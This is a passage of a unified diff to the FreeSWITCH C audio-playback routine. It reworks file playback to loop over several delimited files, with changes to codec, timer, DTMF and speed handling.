+	if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
+		return SWITCH_STATUS_FALSE;
+	}
+
 	prefix = switch_channel_get_variable(channel, "sound_prefix");
 	timer_name = switch_channel_get_variable(channel, "timer_name");
 
-	read_codec = switch_core_session_get_read_codec(session);
-
-	if (switch_strlen_zero(file) || !read_codec || !read_codec->implementation) {
-		status = SWITCH_STATUS_FALSE;
-		goto end;
+	if (switch_strlen_zero(file) || !switch_channel_media_ready(channel)) {
+		return SWITCH_STATUS_FALSE;
 	}
 
-	if (!strcasecmp(read_codec->implementation->iananame, "l16")) {
+	if (!strcasecmp(read_impl.iananame, "l16")) {
 		l16++;
 	}
 
-	if ((alt = strchr(file, ':'))) {
-		char *dup;
+	
+	if (play_delimiter) {
+		file_dup = switch_core_session_strdup(session, file);
+		argc = switch_separate_string(file_dup, play_delimiter, argv, (sizeof(argv) / sizeof(argv[0])));
+	} else {
+		argc = 1;
+		argv[0] = (char *)file;
+	}
 
-		if (!strncasecmp(file, "phrase:", 7)) {
-			char *arg = NULL;
-			const char *lang = switch_channel_get_variable(channel, "language");
-			alt = file + 7;
-			dup = switch_core_session_strdup(session, alt);
+	for(cur = 0; switch_channel_ready(channel) && !done && cur < argc; cur++) {
+		file = argv[cur];
+		asis = 0;
+		eof = 0;
+		
+		if (cur) {
+			fh->samples = sample_start = 0;
+			if (sleep_val_i) {
+				switch_ivr_sleep(session, sleep_val_i, SWITCH_FALSE, args);
+			}
+		}
+		
+		status = SWITCH_STATUS_SUCCESS;
 
-			if (dup) {
-				if ((arg = strchr(dup, ':'))) {
-					*arg++ = '\0';
+		if ((alt = strchr(file, ':'))) {
+			char *dup;
+
+			if (!strncasecmp(file, "phrase:", 7)) {
+				char *arg = NULL;
+				const char *lang = switch_channel_get_variable(channel, "language");
+				alt = file + 7;
+				dup = switch_core_session_strdup(session, alt);
+
+				if (dup) {
+					if ((arg = strchr(dup, ':'))) {
+						*arg++ = '\0';
+					}
+					if ((status = switch_ivr_phrase_macro(session, dup, arg, lang, args)) != SWITCH_STATUS_SUCCESS) {
+						return status;
+					}
+					continue;
+				} else {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid Args\n");
+					continue;
 				}
-				return switch_ivr_phrase_macro(session, dup, arg, lang, args);
-			} else {
-				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid Args\n");
-				return SWITCH_STATUS_FALSE;
-			}
-		} else if (!strncasecmp(file, "say:", 4)) {
-			char *engine = NULL, *voice = NULL, *text = NULL;
-			alt = file + 4;
-			dup = switch_core_session_strdup(session, alt);
-			engine = dup;
+			} else if (!strncasecmp(file, "say:", 4)) {
+				char *engine = NULL, *voice = NULL, *text = NULL;
+				alt = file + 4;
+				dup = switch_core_session_strdup(session, alt);
+				engine = dup;
 
-			if (!switch_strlen_zero(engine)) {
-				if ((voice = strchr(engine, ':'))) {
-					*voice++ = '\0';
-					if (!switch_strlen_zero(voice) && (text = strchr(voice, ':'))) {
-						*text++ = '\0';
+				if (!switch_strlen_zero(engine)) {
+					if ((voice = strchr(engine, ':'))) {
+						*voice++ = '\0';
+						if (!switch_strlen_zero(voice) && (text = strchr(voice, ':'))) {
+							*text++ = '\0';
+						}
 					}
 				}
+
+				if (!switch_strlen_zero(engine) && !switch_strlen_zero(voice) && !switch_strlen_zero(text)) {
+					if ((status = switch_ivr_speak_text(session, engine, voice, text, args)) != SWITCH_STATUS_SUCCESS) {
+						return status;
+					}
+					continue;
+				} else if (!switch_strlen_zero(engine) && !(voice && text)) {
+					text = engine;
+					engine = (char *) switch_channel_get_variable(channel, "tts_engine");
+					voice = (char *) switch_channel_get_variable(channel, "tts_voice");
+					if (engine && text) {
+						if ((status = switch_ivr_speak_text(session, engine, voice, text, args)) != SWITCH_STATUS_SUCCESS) {
+							return status;
+						}
+						continue;
+					}
+				} else {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid Args\n");
+					continue;
+				}
 			}
 
-			if (!switch_strlen_zero(engine) && !switch_strlen_zero(voice) && !switch_strlen_zero(text)) {
-				return switch_ivr_speak_text(session, engine, voice, text, args);
-			} else if (!switch_strlen_zero(engine) && !(voice && text)) {
-				text = engine;
-				engine = (char *) switch_channel_get_variable(channel, "tts_engine");
-				voice = (char *) switch_channel_get_variable(channel, "tts_voice");
-				if (engine && text) {
-					return switch_ivr_speak_text(session, engine, voice, text, args);
-				}
+		}
+
+		if (!prefix) {
+			prefix = SWITCH_GLOBAL_dirs.base_dir;
+		}
+
+		if (!strstr(file, SWITCH_URL_SEPARATOR)) {
+			if (!switch_is_file_path(file)) {
+				file = switch_core_session_sprintf(session, "%s%s%s", prefix, SWITCH_PATH_SEPARATOR, file);
+			}
+			if ((ext = strrchr(file, '.'))) {
+				ext++;
 			} else {
-				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid Args\n");
-				return SWITCH_STATUS_FALSE;
+				ext = read_impl.iananame;
+				file = switch_core_session_sprintf(session, "%s.%s", file, ext);
+				asis = 1;
 			}
 		}
 
-	}
+	
+		if (!fh) {
+			fh = &lfh;
+			memset(fh, 0, sizeof(lfh));
+		}
 
-	if (!prefix) {
-		prefix = SWITCH_GLOBAL_dirs.base_dir;
-	}
+		if (fh->samples > 0) {
+			sample_start = fh->samples;
+			fh->samples = 0;
+		}
 
-	if (!strstr(file, SWITCH_URL_SEPARATOR)) {
-		if (!switch_is_file_path(file)) {
-			file = switch_core_session_sprintf(session, "%s%s%s", prefix, SWITCH_PATH_SEPARATOR, file);
+		if ((prebuf = switch_channel_get_variable(channel, "stream_prebuffer"))) {
+			int maybe = atoi(prebuf);
+			if (maybe > 0) {
+				fh->prebuf = maybe;
+			}
 		}
-		if ((ext = strrchr(file, '.'))) {
-			ext++;
-		} else {
-			ext = read_codec->implementation->iananame;
-			file = switch_core_session_sprintf(session, "%s.%s", file, ext);
+		
+		if (switch_core_file_open(fh,
+								  file,
+								  read_impl.number_of_channels,
+								  read_impl.actual_samples_per_second,
+								  SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
+			switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
+			status = SWITCH_STATUS_NOTFOUND;
+			continue;
+		}
+		if (switch_test_flag(fh, SWITCH_FILE_NATIVE)) {
 			asis = 1;
 		}
-	}
 
-	if (!fh) {
-		fh = &lfh;
-		memset(fh, 0, sizeof(lfh));
-	}
+		if (!abuf) {
+			switch_zmalloc(abuf, FILE_STARTSAMPLES * sizeof(*abuf));
+			write_frame.data = abuf;
+			write_frame.buflen = FILE_STARTSAMPLES;
+		}
 
-	if (fh->samples > 0) {
-		sample_start = fh->samples;
-		fh->samples = 0;
-	}
+		if (sample_start > 0) {
+			uint32_t pos = 0;
+			switch_core_file_seek(fh, &pos, 0, SEEK_SET);
+			switch_core_file_seek(fh, &pos, sample_start, SEEK_CUR);
+		}
 
-	if ((prebuf = switch_channel_get_variable(channel, "stream_prebuffer"))) {
-		int maybe = atoi(prebuf);
-		if (maybe > 0) {
-			fh->prebuf = maybe;
+		if (switch_core_file_get_string(fh, SWITCH_AUDIO_COL_STR_TITLE, &p) == SWITCH_STATUS_SUCCESS) {
+			title = switch_core_session_strdup(session, p);
+			switch_channel_set_variable(channel, "RECORD_TITLE", p);
 		}
-	}
 
-	if (switch_core_file_open(fh,
-							  file,
-							  read_codec->implementation->number_of_channels,
-							  read_codec->implementation->actual_samples_per_second,
-							  SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
-		switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
-		status = SWITCH_STATUS_NOTFOUND;
-		goto end;
-	}
-	if (switch_test_flag(fh, SWITCH_FILE_NATIVE)) {
-		asis = 1;
-	}
+		if (switch_core_file_get_string(fh, SWITCH_AUDIO_COL_STR_COPYRIGHT, &p) == SWITCH_STATUS_SUCCESS) {
+			copyright = switch_core_session_strdup(session, p);
+			switch_channel_set_variable(channel, "RECORD_COPYRIGHT", p);
+		}
 
-	switch_zmalloc(abuf, FILE_STARTSAMPLES * sizeof(*abuf));
-	write_frame.data = abuf;
-	write_frame.buflen = FILE_STARTSAMPLES;
+		if (switch_core_file_get_string(fh, SWITCH_AUDIO_COL_STR_SOFTWARE, &p) == SWITCH_STATUS_SUCCESS) {
+			software = switch_core_session_strdup(session, p);
+			switch_channel_set_variable(channel, "RECORD_SOFTWARE", p);
+		}
 
-	if (sample_start > 0) {
-		uint32_t pos = 0;
-		switch_core_file_seek(fh, &pos, 0, SEEK_SET);
-		switch_core_file_seek(fh, &pos, sample_start, SEEK_CUR);
-	}
+		if (switch_core_file_get_string(fh, SWITCH_AUDIO_COL_STR_ARTIST, &p) == SWITCH_STATUS_SUCCESS) {
+			artist = switch_core_session_strdup(session, p);
+			switch_channel_set_variable(channel, "RECORD_ARTIST", p);
+		}
 
-	if (switch_core_file_get_string(fh, SWITCH_AUDIO_COL_STR_TITLE, &p) == SWITCH_STATUS_SUCCESS) {
-		title = switch_core_session_strdup(session, p);
-		switch_channel_set_variable(channel, "RECORD_TITLE", p);
-	}
+		if (switch_core_file_get_string(fh, SWITCH_AUDIO_COL_STR_COMMENT, &p) == SWITCH_STATUS_SUCCESS) {
+			comment = switch_core_session_strdup(session, p);
+			switch_channel_set_variable(channel, "RECORD_COMMENT", p);
+		}
 
-	if (switch_core_file_get_string(fh, SWITCH_AUDIO_COL_STR_COPYRIGHT, &p) == SWITCH_STATUS_SUCCESS) {
-		copyright = switch_core_session_strdup(session, p);
-		switch_channel_set_variable(channel, "RECORD_COPYRIGHT", p);
-	}
+		if (switch_core_file_get_string(fh, SWITCH_AUDIO_COL_STR_DATE, &p) == SWITCH_STATUS_SUCCESS) {
+			date = switch_core_session_strdup(session, p);
+			switch_channel_set_variable(channel, "RECORD_DATE", p);
+		}
 
-	if (switch_core_file_get_string(fh, SWITCH_AUDIO_COL_STR_SOFTWARE, &p) == SWITCH_STATUS_SUCCESS) {
-		software = switch_core_session_strdup(session, p);
-		switch_channel_set_variable(channel, "RECORD_SOFTWARE", p);
-	}
+		interval = read_impl.microseconds_per_packet / 1000;
 
-	if (switch_core_file_get_string(fh, SWITCH_AUDIO_COL_STR_ARTIST, &p) == SWITCH_STATUS_SUCCESS) {
-		artist = switch_core_session_strdup(session, p);
-		switch_channel_set_variable(channel, "RECORD_ARTIST", p);
-	}
+		if (!fh->audio_buffer) {
+			switch_buffer_create_dynamic(&fh->audio_buffer, FILE_BLOCKSIZE, FILE_BUFSIZE, 0);
+			switch_assert(fh->audio_buffer);
+		}
 
-	if (switch_core_file_get_string(fh, SWITCH_AUDIO_COL_STR_COMMENT, &p) == SWITCH_STATUS_SUCCESS) {
-		comment = switch_core_session_strdup(session, p);
-		switch_channel_set_variable(channel, "RECORD_COMMENT", p);
-	}
+		if (asis) {
+			write_frame.codec = switch_core_session_get_read_codec(session);
+			samples = read_impl.samples_per_packet;
+			framelen = read_impl.encoded_bytes_per_packet;
+		} else {
+			codec_name = "L16";
 
-	if (switch_core_file_get_string(fh, SWITCH_AUDIO_COL_STR_DATE, &p) == SWITCH_STATUS_SUCCESS) {
-		date = switch_core_session_strdup(session, p);
-		switch_channel_set_variable(channel, "RECORD_DATE", p);
-	}
+			if (!switch_core_codec_ready((&codec))) {
+				if (switch_core_codec_init(&codec,
+										   codec_name,
+										   NULL,
+										   fh->samplerate,
+										   interval, fh->channels, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, pool) == SWITCH_STATUS_SUCCESS) {
+					switch_log_printf(SWITCH_CHANNEL_LOG,
+									  SWITCH_LOG_DEBUG, "Codec Activated %s@%uhz %u channels %dms\n", codec_name, fh->samplerate, fh->channels, interval);
+				
 
-	switch_assert(read_codec != NULL);
-	interval = read_codec->implementation->microseconds_per_packet / 1000;
+				} else {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
+									  "Raw Codec Activation Failed %s@%uhz %u channels %dms\n", codec_name, fh->samplerate, fh->channels, interval);
+					switch_core_file_close(fh);
+					switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
+					status = SWITCH_STATUS_GENERR;
+					continue;
+				}
+			}
 
-	if (!fh->audio_buffer) {
-		switch_buffer_create_dynamic(&fh->audio_buffer, FILE_BLOCKSIZE, FILE_BUFSIZE, 0);
-		if (!fh->audio_buffer) {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Setup buffer failed\n");
+			write_frame.codec = &codec;
 
-			switch_core_file_close(fh);
-			switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
-
-			status = SWITCH_STATUS_GENERR;
-			goto end;
+			samples = codec.implementation->samples_per_packet;
+			framelen = codec.implementation->decoded_bytes_per_packet;
 		}
-	}
 
-	if (asis) {
-		write_frame.codec = read_codec;
-		samples = read_codec->implementation->samples_per_packet;
-		framelen = read_codec->implementation->encoded_bytes_per_packet;
-	} else {
-		codec_name = "L16";
+		if (timer_name && !timer.samplecount) {
+			uint32_t len;
 
-		if (switch_core_codec_init(&codec,
-								   codec_name,
-								   NULL,
-								   fh->samplerate,
-								   interval, fh->channels, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, pool) == SWITCH_STATUS_SUCCESS) {
-			switch_log_printf(SWITCH_CHANNEL_LOG,
-							  SWITCH_LOG_DEBUG, "Codec Activated %s@%uhz %u channels %dms\n", codec_name, fh->samplerate, fh->channels, interval);
+			len = samples * 2;
+			if (switch_core_timer_init(&timer, timer_name, interval, samples, pool) != SWITCH_STATUS_SUCCESS) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Setup timer failed!\n");
+				switch_core_codec_destroy(&codec);
+				switch_core_file_close(fh);
+				switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
+				status = SWITCH_STATUS_GENERR;
+				continue;
+			}
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Setup timer success %u bytes per %d ms!\n", len, interval);
+		}
+		write_frame.rate = fh->samplerate;
 
-			write_frame.codec = &codec;
-		} else {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
-							  "Raw Codec Activation Failed %s@%uhz %u channels %dms\n", codec_name, fh->samplerate, fh->channels, interval);
-			switch_core_file_close(fh);
-			switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
-			status = SWITCH_STATUS_GENERR;
-			goto end;
+		if (timer_name) {
+			/* start a thread to absorb incoming audio */
+			switch_core_service_session(session);
 		}
-		samples = codec.implementation->samples_per_packet;
-		framelen = codec.implementation->decoded_bytes_per_packet;
-	}
 
-	if (timer_name) {
-		uint32_t len;
+		ilen = samples;
 
-		len = samples * 2;
-		if (switch_core_timer_init(&timer, timer_name, interval, samples, pool) != SWITCH_STATUS_SUCCESS) {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Setup timer failed!\n");
-			switch_core_codec_destroy(&codec);
-			switch_core_file_close(fh);
-			switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
-			status = SWITCH_STATUS_GENERR;
-			goto end;
-		}
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Setup timer success %u bytes per %d ms!\n", len, interval);
-	}
-	write_frame.rate = fh->samplerate;
+		for (;;) {
+			int do_speed = 1;
+			int last_speed = -1;
 
-	if (timer_name) {
-		/* start a thread to absorb incoming audio */
-		switch_core_service_session(session);
-	}
+			if (!switch_channel_ready(channel)) {
+				status = SWITCH_STATUS_FALSE;
+				break; 
+			}
 
-	ilen = samples;
+			if (switch_channel_test_flag(channel, CF_BREAK)) {
+				switch_channel_clear_flag(channel, CF_BREAK);
+				status = SWITCH_STATUS_BREAK;
+				break; 
+			}
 
-	for (;;) {
-		int done = 0;
-		int do_speed = 1;
-		int last_speed = -1;
+			if (switch_core_session_private_event_count(session)) {
+				switch_ivr_parse_all_events(session);
+			}
 
-		if (!switch_channel_ready(channel)) {
-			status = SWITCH_STATUS_FALSE;
-			break; 
-		}
+			if (args && (args->input_callback || args->buf || args->buflen)) {
+				/*
+				  dtmf handler function you can hook up to be executed when a digit is dialed during playback 
+				  if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
+				*/
+				if (switch_channel_has_dtmf(channel)) {
+					if (!args->input_callback && !args->buf) {
+						status = SWITCH_STATUS_BREAK;
+						done = 1;
+						break; 
+					}
+					switch_channel_dequeue_dtmf(channel, &dtmf);
+					if (args->input_callback) {
+						status = args->input_callback(session, (void *) &dtmf, SWITCH_INPUT_TYPE_DTMF, args->buf, args->buflen);
+					} else {
+						*((char *) args->buf) = dtmf.digit;
+						status = SWITCH_STATUS_BREAK;
+					}
+				}
 
-		if (switch_channel_test_flag(channel, CF_BREAK)) {
-			switch_channel_clear_flag(channel, CF_BREAK);
-			status = SWITCH_STATUS_BREAK;
-			break; 
-		}
+				if (args->input_callback) {
+					switch_event_t *event;
 
-		if (switch_core_session_private_event_count(session)) {
-			switch_ivr_parse_all_events(session);
-		}
+					if (switch_core_session_dequeue_event(session, &event, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
+						status = args->input_callback(session, event, SWITCH_INPUT_TYPE_EVENT, args->buf, args->buflen);
+						switch_event_destroy(&event);
+					}
+				}
 
-		if (args && (args->input_callback || args->buf || args->buflen)) {
-			/*
-			   dtmf handler function you can hook up to be executed when a digit is dialed during playback 
-			   if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
-			 */
-			if (switch_channel_has_dtmf(channel)) {
-				if (!args->input_callback && !args->buf) {
-					status = SWITCH_STATUS_BREAK;
+				if (status != SWITCH_STATUS_SUCCESS) {
 					done = 1;
 					break; 
 				}
-				switch_channel_dequeue_dtmf(channel, &dtmf);
-				if (args->input_callback) {
-					status = args->input_callback(session, (void *) &dtmf, SWITCH_INPUT_TYPE_DTMF, args->buf, args->buflen);
-				} else {
-					*((char *) args->buf) = dtmf.digit;
-					status = SWITCH_STATUS_BREAK;
-				}
 			}
 
-			if (args->input_callback) {
-				switch_event_t *event;
+			if (switch_test_flag(fh, SWITCH_FILE_PAUSE)) {
+				if (framelen > FILE_STARTSAMPLES) {
+					framelen = FILE_STARTSAMPLES;
+				}
+				memset(abuf, 0, framelen);
+				olen = ilen;
+				do_speed = 0;
+			} else if (fh->sp_audio_buffer && (eof || (switch_buffer_inuse(fh->sp_audio_buffer) > (switch_size_t) (framelen)))) {
+				if (!(bread = switch_buffer_read(fh->sp_audio_buffer, abuf, framelen))) {
+					if (eof) {
+						continue;
+					} else {
+						break; 
+					}
+				}
 
-				if (switch_core_session_dequeue_event(session, &event) == SWITCH_STATUS_SUCCESS) {
-					status = args->input_callback(session, event, SWITCH_INPUT_TYPE_EVENT, args->buf, args->buflen);
-					switch_event_destroy(&event);
+				if (bread < framelen) {
+					memset(abuf + bread, 0, framelen - bread);
 				}
-			}
 
-			if (status != SWITCH_STATUS_SUCCESS) {
-				done = 1;
-				break; 
-			}
-		}
+				olen = asis ? framelen : ilen;
+				do_speed = 0;
+			} else if (fh->audio_buffer && (eof || (switch_buffer_inuse(fh->audio_buffer) > (switch_size_t) (framelen)))) {
+				if (!(bread = switch_buffer_read(fh->audio_buffer, abuf, framelen))) {
+					if (eof) {
+						break; 
+					} else {
+						continue;
+					}
+				}
 
-		if (switch_test_flag(fh, SWITCH_FILE_PAUSE)) {
-			if (framelen > FILE_STARTSAMPLES) {
-				framelen = FILE_STARTSAMPLES;
-			}
-			memset(abuf, 0, framelen);
-			olen = ilen;
-			do_speed = 0;
-		} else if (fh->sp_audio_buffer && (eof || (switch_buffer_inuse(fh->sp_audio_buffer) > (switch_size_t) (framelen)))) {
-			if (!(bread = switch_buffer_read(fh->sp_audio_buffer, abuf, framelen))) {
-				if (eof) {
-					continue;
-				} else {
-					break; 
+				if (bread < framelen) {
+					memset(abuf + bread, 0, framelen - bread);
 				}
-			}
 
-			if (bread < framelen) {
-				memset(abuf + bread, 0, framelen - bread);
-			}
-
-			olen = asis ? framelen : ilen;
-			do_speed = 0;
-		} else if (fh->audio_buffer && (eof || (switch_buffer_inuse(fh->audio_buffer) > (switch_size_t) (framelen)))) {
-			if (!(bread = switch_buffer_read(fh->audio_buffer, abuf, framelen))) {
+				olen = asis ? framelen : ilen;
+			} else {
 				if (eof) {
-					break; 
-				} else {
+					break;
+				}
+				olen = FILE_STARTSAMPLES;
+				if (!asis) {
+					olen /= 2;
+				}
+				if (switch_core_file_read(fh, abuf, &olen) != SWITCH_STATUS_SUCCESS) {
+					eof++;
 					continue;
 				}
+				switch_buffer_write(fh->audio_buffer, abuf, asis ? olen : olen * 2);
+				olen = switch_buffer_read(fh->audio_buffer, abuf, framelen);
+				if (!asis) {
+					olen /= 2;
+				}
 			}
 
-			if (bread < framelen) {
-				memset(abuf + bread, 0, framelen - bread);
+			if (done || olen <= 0) {
+				break; 
 			}
 
-			olen = asis ? framelen : ilen;
-		} else {
-			if (eof) {
-				break;
-			}
-			olen = FILE_STARTSAMPLES;
 			if (!asis) {
-				olen /= 2;
+				if (fh->speed > 2) {
+					fh->speed = 2;
+				} else if (fh->speed < -2) {
+					fh->speed = -2;
+				}
 			}
-			if (switch_core_file_read(fh, abuf, &olen) != SWITCH_STATUS_SUCCESS) {
-				eof++;
-				continue;
+
+			if (!asis && fh->audio_buffer && last_speed > -1 && last_speed != fh->speed) {
+				switch_buffer_zero(fh->sp_audio_buffer);
 			}
-			switch_buffer_write(fh->audio_buffer, abuf, asis ? olen : olen * 2);
-			olen = switch_buffer_read(fh->audio_buffer, abuf, framelen);
-			if (!asis) {
-				olen /= 2;
-			}
-		}
 
-		if (done || olen <= 0) {
-			break; 
-		}
-
-		if (!asis) {
-			if (fh->speed > 2) {
-				fh->speed = 2;
-			} else if (fh->speed < -2) {
-				fh->speed = -2;
+			if (switch_test_flag(fh, SWITCH_FILE_SEEK)) {
+				/* file position has changed flush the buffer */
+				switch_buffer_zero(fh->audio_buffer);
+				switch_clear_flag(fh, SWITCH_FILE_SEEK);
 			}
-		}
 
-		if (!asis && fh->audio_buffer && last_speed > -1 && last_speed != fh->speed) {
-			switch_buffer_zero(fh->sp_audio_buffer);
-		}
 
-		if (switch_test_flag(fh, SWITCH_FILE_SEEK)) {
-			/* file position has changed flush the buffer */
-			switch_buffer_zero(fh->audio_buffer);
-			switch_clear_flag(fh, SWITCH_FILE_SEEK);
-		}
+			if (!asis && fh->speed && do_speed) {
+				float factor = 0.25f * abs(fh->speed);
+				switch_size_t newlen, supplement, step;
+				short *bp = write_frame.data;
+				switch_size_t wrote = 0;
 
+				supplement = (int) (factor * olen);
+				if (!supplement) {
+					supplement = 1;
+				}
+				newlen = (fh->speed > 0) ? olen - supplement : olen + supplement;
 
-		if (!asis && fh->speed && do_speed) {
-			float factor = 0.25f * abs(fh->speed);
-			switch_size_t newlen, supplement, step;
-			short *bp = write_frame.data;
-			switch_size_t wrote = 0;
+				step = (fh->speed > 0) ? (newlen / supplement) : (olen / supplement);
 
-			supplement = (int) (factor * olen);
-			if (!supplement) {
-				supplement = 1;
-			}
-			newlen = (fh->speed > 0) ? olen - supplement : olen + supplement;
+				if (!fh->sp_audio_buffer) {
+					switch_buffer_create_dynamic(&fh->sp_audio_buffer, 1024, 1024, 0);
+				}
 
-			step = (fh->speed > 0) ? (newlen / supplement) : (olen / supplement);
-
-			if (!fh->sp_audio_buffer) {
-				switch_buffer_create_dynamic(&fh->sp_audio_buffer, 1024, 1024, 0);
+				while ((wrote + step) < newlen) {
+					switch_buffer_write(fh->sp_audio_buffer, bp, step * 2);
+					wrote += step;
+					bp += step;
+					if (fh->speed > 0) {
+						bp++;
+					} else {
+						float f;
+						short s;
+						f = (float) (*bp + *(bp + 1) + *(bp - 1));
+						f /= 3;
+						s = (short) f;
+						switch_buffer_write(fh->sp_audio_buffer, &s, 2);
+						wrote++;
+					}
+				}
+				if (wrote < newlen) {
+					switch_size_t r = newlen - wrote;
+					switch_buffer_write(fh->sp_audio_buffer, bp, r * 2);
+					wrote += r;
+				}
+				last_speed = fh->speed;
+				continue;
 			}
 
-			while ((wrote + step) < newlen) {
-				switch_buffer_write(fh->sp_audio_buffer, bp, step * 2);
-				wrote += step;
-				bp += step;
-				if (fh->speed > 0) {
-					bp++;
-				} else {
-					float f;
-					short s;
-					f = (float) (*bp + *(bp + 1) + *(bp - 1));
-					f /= 3;
-					s = (short) f;
-					switch_buffer_write(fh->sp_audio_buffer, &s, 2);
-					wrote++;
-				}
+			if (olen < llen) {
+				uint8_t *dp = (uint8_t *) write_frame.data;
+				memset(dp + (int) olen, 0, (int) (llen - olen));
+				olen = llen;
 			}
-			if (wrote < newlen) {
-				switch_size_t r = newlen - wrote;
-				switch_buffer_write(fh->sp_audio_buffer, bp, r * 2);
-				wrote += r;
-			}
-			last_speed = fh->speed;
-			continue;
-		}
-		if (olen < llen) {
-			uint8_t *dp = (uint8_t *) write_frame.data;
-			memset(dp + (int) olen, 0, (int) (llen - olen));
-			olen = llen;
-		}
 
-		write_frame.samples = (uint32_t) olen;
+			write_frame.samples = (uint32_t) olen;
 
-		if (asis) {
-			write_frame.datalen = (uint32_t) olen;
-		} else {
-			write_frame.datalen = write_frame.samples * 2;
-		}
+			if (asis) {
+				write_frame.datalen = (uint32_t) olen;
+			} else {
+				write_frame.datalen = write_frame.samples * 2;
+			}
 
-		llen = olen;
+			llen = olen;
 
-		if (timer_name) {
-			write_frame.timestamp = timer.samplecount;
-		}
+			if (timer_name) {
+				write_frame.timestamp = timer.samplecount;
+			}
 #ifndef WIN32
 #if SWITCH_BYTE_ORDER == __BIG_ENDIAN
-		if (!asis && l16) {
-			switch_swap_linear(write_frame.data, (int) write_frame.datalen / 2);
-		}
+			if (!asis && l16) {
+				switch_swap_linear(write_frame.data, (int) write_frame.datalen / 2);
+			}
 #endif
 #endif
-		if (fh->vol) {
-			switch_change_sln_volume(write_frame.data, write_frame.datalen / 2, fh->vol);
-		}
+			if (fh->vol) {
+				switch_change_sln_volume(write_frame.data, write_frame.datalen / 2, fh->vol);
+			}
 
-		fh->offset_pos += write_frame.samples / 2;
-		status = switch_core_session_write_frame(session, &write_frame, SWITCH_IO_FLAG_NONE, 0);
+			fh->offset_pos += write_frame.samples / 2;
+			status = switch_core_session_write_frame(session, &write_frame, SWITCH_IO_FLAG_NONE, 0);
 
-		if (status == SWITCH_STATUS_MORE_DATA) {
-			status = SWITCH_STATUS_SUCCESS;
-			continue;
-		} else if (status != SWITCH_STATUS_SUCCESS) {
-			done = 1;
-			break; 
-		}
-
-		if (done) {
-			break; 
-		}
-
-		if (timer_name) {
-			if (switch_core_timer_next(&timer) != SWITCH_STATUS_SUCCESS) {
+			if (status == SWITCH_STATUS_MORE_DATA) {
+				status = SWITCH_STATUS_SUCCESS;
+				continue;
+			} else if (status != SWITCH_STATUS_SUCCESS) {
+				done = 1;
 				break; 
 			}
-		} else {				/* time off the channel (if you must) */
-			switch_frame_t *read_frame;
-			switch_status_t tstatus;
-			while (switch_channel_ready(channel) && switch_channel_test_flag(channel, CF_HOLD)) {
-				switch_yield(10000);
-			}
 
-			tstatus = switch_core_session_read_frame(session, &read_frame, SWITCH_IO_FLAG_NONE, 0);
-
-			if (!SWITCH_READ_ACCEPTABLE(tstatus)) {
+			if (done) {
 				break; 
 			}
 
-			if (args && (args->read_frame_callback)) {
-				int ok = 1;
-				switch_set_flag(fh, SWITCH_FILE_CALLBACK);
-				if (args->read_frame_callback(session, read_frame, args->user_data) != SWITCH_STATUS_SUCCESS) {
-					ok = 0;
+			if (timer_name) {
+				if (switch_core_timer_next(&timer) != SWITCH_STATUS_SUCCESS) {
+					break; 
 				}
-				switch_clear_flag(fh, SWITCH_FILE_CALLBACK);
-				if (!ok) {
+			} else {				/* time off the channel (if you must) */
+				switch_frame_t *read_frame;
+				switch_status_t tstatus;
+				while (switch_channel_ready(channel) && switch_channel_test_flag(channel, CF_HOLD)) {
+					switch_yield(10000);
+				}
+
+				tstatus = switch_core_session_read_frame(session, &read_frame, SWITCH_IO_FLAG_NONE, 0);
+
+				if (!SWITCH_READ_ACCEPTABLE(tstatus)) {
 					break; 
 				}
+
+				if (args && (args->read_frame_callback)) {
+					int ok = 1;
+					switch_set_flag(fh, SWITCH_FILE_CALLBACK);
+					if (args->read_frame_callback(session, read_frame, args->user_data) != SWITCH_STATUS_SUCCESS) {
+						ok = 0;
+					}
+					switch_clear_flag(fh, SWITCH_FILE_CALLBACK);
+					if (!ok) {
+						break; 
+					}
+				}
 			}
 		}
+
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "done playing file\n");
+		
+		if (read_impl.samples_per_second) switch_channel_set_variable_printf(channel, "playback_ms", "%d", fh->samples_out / read_impl.samples_per_second);
+		switch_channel_set_variable_printf(channel, "playback_samples", "%d", fh->samples_out);
+
+		switch_core_file_close(fh);
+
+		if (fh->audio_buffer) {
+			switch_buffer_destroy(&fh->audio_buffer);
+		}
+		
+		if (fh->sp_audio_buffer) {
+			switch_buffer_destroy(&fh->sp_audio_buffer);
+		}
 	}
 
-	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "done playing file\n");
-	switch_core_file_seek(fh, &fh->last_pos, 0, SEEK_CUR);
-
-	switch_core_file_close(fh);
-	switch_buffer_destroy(&fh->audio_buffer);
